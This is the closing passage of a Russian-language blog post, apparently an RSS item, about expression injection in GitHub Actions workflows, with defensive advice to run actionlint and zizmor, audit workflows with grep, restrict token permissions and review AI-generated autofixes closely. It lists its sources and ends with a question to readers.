Класс проблемы закрывается автоматикой. Подстановки через ${{ }} отлично ловятся статическим анализом. Как минимум запустите в CI actionlint и zizmor, чтобы о таком сообщал робот, а не сторонний исследователь. 

✅ Как правильно Пробежка по собственным воркфлоу за десять минут: выполнить grep -rn '\${{ github.event' .github/workflows/ и просмотреть каждое совпадение внутри run:;считать недоверенным вводом всё, что приходит с триггеров issues, issue_comment, pull_request_target, discussion;не пускать секреты в шаги, где обрабатывается пользовательский текст;сверить каждое if: с фактическим триггером — поля чужого события молча отдают пустоту;урезать права интеграционных токенов и ротировать их по календарю, а не по факту утечки.

❗ Главное Сгенерированный моделью автофикс стоит воспринимать как заявку, а не как патч из рук эксперта. Вес ей придаёт ревью — и только то ревью, где сравнивают «было» со «стало», а не оценивают, выглядит ли результат правдоподобно. 



Источники


Wiz Research — разбор цепочки эксплуатации
PR #1218 в snowflakedb/snowflake-connector-net
Коммит 1dc7766 — исправление воркфлоу
PR #1402 — тот же фикс в виде пулл-реквеста


💬 Вопрос к сообществу У кого включён Copilot Autofix или его аналог: разбираете ли вы такие правки с той же придирчивостью, что и правки живого коллеги, или на практике мержите быстрее? И запускает ли кто-нибудь actionlint либо zizmor по своим воркфлоу — попадалось ли им что-то настоящее?]]></description><pubDate>Tue, 18 Aug 2026 05:18:27 +0000</pubDate></item></channel></rss>
